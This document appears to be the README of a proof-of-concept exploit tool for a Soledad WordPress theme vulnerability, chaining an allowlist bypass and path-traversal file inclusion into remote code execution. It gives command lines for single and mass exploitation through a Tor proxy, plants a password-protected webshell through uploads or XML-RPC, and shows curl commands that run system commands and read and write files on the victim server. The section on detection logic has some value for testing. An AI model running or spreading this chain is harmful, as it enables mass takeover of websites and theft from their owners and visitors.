PoC and lab for CVE-2026-121684: unauthenticated Soledad WordPress theme shortcode-allowlist bypass and path-traversal LFI leading to RCE, with scan, exploit and webshell chain modes.
Unauthenticated Remote Code Execution in the Soledad WordPress theme via a
penci_more_post_ajax shortcode-allowlist bypass and a penci-featured-sliders
path-traversal local file inclusion.
CVE-2026-121684-report.mdnotes/root-cause.mdnotes/self-attack.mdpip install requests
Python 3.10+.
The interactive menu is the primary entry point. It asks for k on every
option that can reach the sink, because k is the one thing the tool cannot
find by itself:
$ python3 poc.py
1) single scan (fingerprint + version + nonce, no exploit)
2) single exploit (reach code execution on one target)
3) mass scan (targets.txt, scan only)
4) mass exploit (targets.txt, full chain)
5) shell chain (plant + execute + verify 0xfay webshell, one target)
0) exit
(options 2 and 5 also ask for an "extra include path" — the path to an
includable PHP file, relative to the widget directory and WITHOUT .php)
Lab-verified end to end: menu option 2 + a valid k + an includable file →
[RCE] with the payload's own output as proof. Without k the same target
reports LOCKED-NO-K; with a valid k on the patched build, PATCHED.
Flags (scripting / automation):
python3 poc.py -u http://target --scan-only
python3 poc.py -u http://target --exploit --k <elementor-id> --nonce <nonce>
python3 poc.py -u http://target --exploit --style ../../../../../../../../wp-content/uploads/0xfay
python3 poc.py -u http://target --exploit --shell payloads/ws.php --shell-pass <pw>
python3 poc.py -l targets.txt --exploit --threads 20 --proxy socks5://127.0.0.1:9050
| Flag | Meaning |
|---|---|
--scan-only | never fires the exploit path |
--k | Elementor element-cache id (the k= shortcode attribute); auto-discovered when possible |
--nonce | penci_more_post_ajax nonce; auto-discovered from the site |
--style | extra includable path (no .php) to try for code execution; repeatable |
--shell / --shell-pass | verify a planted 0xfay webshell through the sink |
--threads | mass-mode concurrency (default 10) |
--proxy, --verify-tls | transport options |
--no-resume | ignore out/checkpoint.jsonl |
| Tag | Meaning |
|---|---|
VULN | allowlist bypass reaches the sink (include() executed or proven reachable) |
LFI | include() control confirmed, no executable payload found |
RCE | attacker PHP executed (unique marker observed in the response) |
PWN | verified webshell answering over HTTP |
LOCKED-NO-K | nested tag reaches the sink, but Elementor's k (site-wide md5, compared with !==) is not exposed anywhere on the site. Not "waiting for a value": without k the widget renders nothing and the sink is unreachable. Supply --k only if obtained out of band. |
ASSUMED | a prerequisite could not be confirmed — reason printed, never upgraded silently |
PATCHED | the nested tag is rejected: the bypass does not work |
BLOCKED | the nonce was rejected by the target |
SAFE | not a Soledad front end |
ERR | transport/HTTP failure |
Output: one line per target on stdout, out/results.jsonl (one JSON object per target) and
out/success.txt (VULN/LFI/RCE/PWN only), both flushed per line.
ELEMENTOR_VERSION is defined.penci_more_post_ajax nonce (printed to visitors when
penci_page_navigation_ajax is enabled).CVE ini LFI murni — include "{style}.php" menjalankan file yang sudah ada.
Untuk berakhir di webshell, poC menanam payload dulu (stage plant), lalu
mengeksekusinya lewat sink, lalu memverifikasi shell hidup:
python3 poc.py -u http://target --exploit \
--shell payloads/ws.php --shell-pass <pw> \
--plant-url http://target/<upload-endpoint> --plant-field file
Menu: pilihan 5) shell chain.
Vektor plant yang didukung, dicoba berurutan:
| Vektor | Flag | Syarat |
|---|---|---|
| WP REST media upload | --cookies "<session cookie>" | sesi terautentikasi |
XML-RPC wp.uploadFile | --plant-user / --plant-pass | kredensial |
| endpoint unggah spesifik target | --plant-url / --plant-field | bug tulis hasil recon |
Bila tak ada vektor yang tersedia, verdict tetap jujur di [LFI] — bukan RCE palsu.
[PWN] | http://target | soledad=8.7.7 | marker=0xfay-shell-xxxx |
0xfay webshell live at /wp-content/uploads/0xfay595931ed.php (login POST p=<pw>)
results.jsonl untuk baris itu memuat parameter shell lengkap:
"evidence": {
"plant": "custom-endpoint",
"exec_style": "../../../../../../../../wp-content/uploads/0xfay595931ed",
"exec_out": "0xfay-shell-121684",
"shell_url": "http://target/wp-content/uploads/0xfay595931ed.php",
"shell_pass": "<pw>",
"shell_param": "c",
"shell_cmd": "http://target/wp-content/uploads/0xfay595931ed.php?c=<cmd>"
}
# login (ambil cookie sesi)
curl -c ck -d 'p=<pw>' 'http://target/wp-content/uploads/0xfay595931ed.php'
# eksekusi perintah
curl -b ck 'http://target/wp-content/uploads/0xfay595931ed.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# fitur lain: ?ls=1&d=<dir> ?read=<file> ?write=<file>&body=<isi> ?php=<kode> upload multipart
An earlier build of this tool decided "vulnerable" by comparing two
differently shaped bodies (a bypass shape versus a literal nested shape) and
calling any difference a bypass. Measured on the lab, that reasoning is invalid:
the difference it detected came from post queries and re-issued nonces, not from
the allowlist. It produced VULN-PENDING-K on almost every target, including
sites whose http:// and https:// URLs disagreed with the same nonce.
The lab also settled what the sink actually looks like. do_shortcode() expands
the nested elementor-element tag, so the raw tag is never in the response:
k | nested tag in response | widget markup | body length |
|---|---|---|---|
| correct | expanded away | penci-block-el present | ~18 800 |
| wrong | expanded to nothing, tag vanishes | absent | ~12 800 |
So "the tag survived" is unobservable, and "the bodies differ" is noise. The gate
now varies exactly one thing — the nested body's own marker — and uses a wrong k
as the control that proves what "consumed and produced nothing" looks like:
| probe | purpose |
|---|---|
S1 bypass shape with a per-call marker, random k | does the nested tag reach the sink at all |
S2 identical shape, deliberately wrong k | baseline: tag consumed, widget emits nothing |
Verdicts that follow:
| build | S1 | S2 | verdict |
|---|---|---|---|
vulnerable + valid k | widget renders | nothing | sink reached → chain continues |
vulnerable + no k on the site | nothing | nothing | LOCKED-NO-K |
| fixed | nothing | nothing | PATCHED (only after the stability check passes) |